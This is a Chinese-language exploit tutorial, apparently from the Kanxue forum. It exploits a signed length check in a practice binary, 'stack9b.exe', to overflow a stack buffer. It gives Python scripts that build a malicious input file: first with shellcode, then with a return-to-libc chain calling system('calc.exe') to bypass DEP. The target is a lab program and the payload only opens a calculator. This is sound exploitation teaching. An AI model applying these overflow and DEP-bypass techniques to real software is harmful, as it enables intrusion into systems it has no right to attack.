绕过数据执行保护
大家好!这篇文章的主题是——如何溢出缓冲区,绕过DEP(数据执行保护)并且控制可执行程序。
先决条件:
1)C/c++语言,基础水平即可;
2)英特尔x86汇编;
3)熟悉缓冲区溢出;
4)调试器/反编译;
文件:
File
好的,我们需要做的第一件事是看看可执行文件会给我们什么信息,所以我们运行它:
这里,我们看到它正在请求一个文件文件。但由于文件不存在,程序返回给我们它不能打开。创建文件后,我们看到它显示了一个消息,3个值为0,似乎对应3个变量(cookie, cookie2和size),除此之外就没别的东西了。
既然我们不知道它的作用,让我们来看看它。
这个函数有5个变量,其中4个变量被初始化为零,1个变量在(“2”)处初始化为0x32,一个指向LoadLibrary的指针存储在0x10103024处。然后以二进制读取模式fopen “fichero.dat”文件,存储文件指针在0x10103020。最后检查它是否存在,如果它不存在,它将转到0x101010d3并关闭(正如我们之前看到的);如果它存在,它将转到0x101010e9。让我们看看那里:
在这个过程中,它首先使用fread从文件fichero.dat中读取4字节并将它们存储在一个指针指向看起来像是一块内存的地方(ebp-c),fread返回读取元素的总数并且将它存储在ebp-8,接着继续fread从文件中读4个字节,并将它们存储在一个指针指向ebp-10的内存区域。
然后它再一次重复这个过程,并将1个字节存储在一个指针ebp-1,最后将这个字节与(ebp-14)即0x32(“2”)比较,如果是小于或等于(jle),就会转到0x10101155;如果不是这样,显示一条“Nos fuimos al carajo”(我们要滚蛋了)信息,接着就关闭了。
我们写入文件8字节+正确的字节(“2”),然后输入0x10101155,例如:
1234 + 5678 + 2
在这里,它使用fread入栈保存字节并打印它们,使用malloc分配50字节(32h)内存,将返回的内存指针存储到ebp-1c中,然后入栈“fichero.dat”的前8字节到0x10101010:
好的,它在这里做的是它取fichero.dat的前4个字节,将它们添加到以下4个字节,然后将结果与0x58552433进行比较,如果条件正确,加载“pepe.dll”。
然后让我们确保满足条件(因为它是小端字节,我们必须把字节反向)。
因为并不是所有的字符都符合“0”(30h) +“(28h) = 58h(1字节正确)的条件,所以我们做了一个脚本来完成它:
data = "\x21\x1210" + "\x12\x12$(" + "2"
with open("fichero.dat", "w") as file:
file.write(data)
好的,这一定能够满足条件的,我们看看:
让我们看看现在是什么情况:
离开0x10101010之后,我们会看到它用fread读取了fichero.dat的[ebp-1]字节并将他们存储在一个指向(ebp-54)的缓冲区中,好的,这是一个缓冲区溢出,让我们分析一下。
首先我们看到"fichero.dat"的第9个字节存储在[ebp-1]中,然后与ebp-14进行比较:
现在我们看到字节([ebp-1])是fread的读取大小,并将大小存在一个(ebp-54)52字节缓冲区,正如最近的变量是ebp-20,我们有[ebp-54]-[ebp-20]=[ebp-34],所以是0x34(52d),我们还可以看到在IDA堆栈,右键->array->ok:
知道了这些,我们怎么能溢出缓冲区呢?
[ebp-1]是fichero.dat的第9个字节。fread的大小存储在缓冲区中[ebp-54],并且必须小于或等于0x32(“2”)。
我们知道十六进制的负数在十进制里会溢出,所以如果我们在十六进制里放一个负数它会允许我们输入比允许的更多的字节(52d)这是因为它是有符号的(jle)。
0x10101139 movsx ecx, byte ptr ss:[ebp-1]
0x1010113d cmp ecx, dword ptr ss:[ebp-14]
0x10101140 jle stack9b.10101155
让我们尝试到达缓冲区的边缘,同时溢出fread的2字节(50字节,32h)。
data = "\x21\x1210" + "\x12\x12$(" + "\xff" + "A" * 52
with open("fichero.dat", "w") as file:
file.write(data)
酷啊! ! !让我们看看是否可以控制retn。
有一个过程,它复制内存中malloc [ebp-1c]分配的块的缓冲区字节[ebp-54]。
所以,如果我用“\x41x41x41\x41\x41”来填[ebp-1c],因为它不是一个有效地址所以我们不能写入,那我们来找一个有效地址。
好了,让我们检查堆栈,看看需要多少字节才能到达retn并控制它。
好的,现在我们来编写exploit:
import subprocess
shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" + "\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1"
buff = "\x41" * 52
ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10" # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4 # ebp
r = shellcode
data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + ebp_20 + ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r
with open("fichero.dat", "w") as file:
file.write(data)
subprocess.call(r"stack9b.exe")
好的,我们已经控制了EIP,但是现在它不允许我执行我的shellcode,这是由于DEP(数据执行保护)。
总结一下,DEP修改了存储数据的段的权限,以防止我们在那里执行代码 --ricnar。
因此,为了绕过DEP,我们可以使用ROP(返回导向编程),它基本上是使用程序的可执行代码片段,执行一些api(如VirtualProtect或VirtualAlloc)改变堆栈权限。
在pepe.dll寻找gadget中我找不到VirtualAlloc,但是有一个指向system()的指针,只会缺少一个return,可以使用exit()和一个固定位置的我们可以控制将一个字符串传递给system()的值。
现在只缺system()的参数了,我们可以使用带有写权限的地址:
这里我设置了堆栈,因为malloc只分配了50个字节且没有控制eip,这就是exp的样子。
import subprocess
system = "\x24\x98\x01\x78" # system()
calc = "calc.exe"
buff = "\x41" * 42
#ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10" # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4 # ebp
r = system
exit = "\x78\x1d\x10\x10" # exit()
ptr_calc = "\x5a\x30\x10\x10"
data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + calc + "\x41" * 6 + ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r + exit + ptr_calc
with open("fichero.dat", "w") as file:
file.write(data)
subprocess.call(r"stack9b.exe")
看雪ID:wangrin
bbs.pediy.com/user-589827
本文由看雪论坛wangrin原创
转载请注明来自看雪社区
热门文章推荐